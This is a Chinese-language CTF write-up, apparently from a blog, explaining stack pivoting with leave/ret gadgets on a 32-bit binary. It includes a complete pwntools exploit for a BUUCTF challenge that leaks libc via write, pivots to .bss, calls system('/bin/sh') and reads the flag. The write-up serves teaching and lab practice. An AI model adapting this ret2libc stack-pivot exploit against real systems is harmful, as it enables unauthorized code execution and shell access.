PWN题型之栈迁移

文章目录

前言

菜鸡总结,如有不对,望各位大佬及时指点,以免误人子弟。



0x1 :基本知识:

想必大家都知道用栈迁移技术来解决的问题了吧———溢出的长度不够,只能覆盖到返回地址,至于后面需要构造的rop链的长度显然是不够的。

如果大家对于C语言调用栈还不是很了解的话,建议了解之后再往下看,因为这个对于了解栈迁移有很大的帮助。可以看我的博客C语言调用栈 ,也可以自行去百度上面了解。

下面讲一下栈迁移用到的最关键的两个汇编指令leave指令和ret指令。其作用就是用来还原栈空间的。
PWN题型之栈迁移
其作用大概就是这样:
PWN题型之栈迁移



0x2 :利用思路 :

利用前提:(1)存在两个变量的输入,如果只能输入一次的话,那必然无法造成溢出,其中一个输入buf变量刚好能溢出到返回地址,而另一个输入变量s的内容应该是存放到bss段的(目前我做到的都存到bss段)。
PWN题型之栈迁移
PWN题型之栈迁移

利用思路:一个栈空间长度不够,我既然能够输入两次,那我为什么不把这两个栈空间串联起来,就像把它变成一个栈一样(当然实质并不是这样的),这样的栈空间不就足够了吗?重点就是怎么样把两个栈串联起来呢?重点就是leave和ret指令。

首先我们知道调用栈的过程会保存栈布局,并且会移动ebp、esp以此来形成新的栈帧。那和leave ret指令有什么关系呢?

首先我们要知道栈迁移的payload的构成。下面是以32位的libc题型为例画的示意图

PWN题型之栈迁移

我们重点来讲一讲函数调用完以后的返回过程,我们是怎么样串联起来的。

(1)第一个leave指令:它先将栈空间清空,将esp弄了回来,然后将bss段的地址传给了ebp。

PWN题型之栈迁移

(2)第一个ret指令:它将带有leave和ret指令的地址传给了eip,那么接下来程序又会跳转到leave处adow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxMDMyODA3,size_16,color_FFFFFF,t_70)
PWN题型之栈迁移

(3)第二个leave指令:是不是很熟悉和c语言函数调用栈,先push ebp,然后mov ebp esp。只是这里不一样的是 这里是mov esp ebp。但其目的都是让ebp与esp处在一起,
PWN题型之栈迁移

(4)第二个ret指令:将write_plt_addr传给eip,执行write函数。

总共返回时的流程为:

PWN题型之栈迁移

0x3 :实例讲解

题目链接:[Black Watch 入群题]PWN

程序分析:32位程序,开启了NX保护。打开IDA,查看一下源代码
PWN题型之栈迁移
代码分析:上文分析过了,漏洞利用:栈迁移技巧,然后发现没有system函数而且开启了NX保护,所以利用libc的来泄露system函数。本题:栈迁移 + libc。libc题型不会的可以看我的 PWN题型之Ret2libc

exp :

from pwn import *

#r = process("./pwn")
r = remote("node4.buuoj.cn",26026)

e = ELF("./pwn")
context(log_level = 'debug')
libc = ELF("./libc-2.23.so")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
bss_addr = 0x0804A300
leave_ret_addr = 0x08048511 

payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("What is your name?")
r.sendline(payload1)

offset = 0x18
payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

r.recvuntil("What do you want to say?")
r.send(payload2)

write_addr = u32(r.recv(4))
print(hex(write_addr))
#pause()

base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()

payload3 = p32(system_addr) + p32(1) + p32(binsh_addr)
r.recvuntil("What is your name?")
r.sendline(payload3)

payload4 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)
r.recvuntil("What do you want to say?")
r.sendline(payload4)

r.sendline("cat flag")
r.interactive()


这里有一个需要注意的点就是,第二个payload发送是用的send,而不是sendline,这里我卡了半天。我觉得这和read函数的读取机制有关系,因为read函数是会读取\n的,当你发送的内容没有溢出的话,它会输出下来,但是当你溢出时他只会输出最多的字节数。具体的原理我也是还没搞懂。

总结:

栈迁移就是将这个空间不够的栈劫持(转移)到我能够写入的一个地方,只要这个地方的内容我提前布局好,就能想你想做的事情,我觉得就是两个栈空间结合起来,以此来扩大空间。

其实如果不是很懂得话,只需要记住:两个payload加起来,然后与之前的想必中间多了一个bss_addr和leave_ret_addr,并且偏移量只是到ebp处。但是如果只是知道做题而不懂原理我是一点作用都没有的,不要为了做题而做题,做题是为了掌握知识点。

上一篇:golang 时间missing Location in call to Date


下一篇:JAVA基础知识整理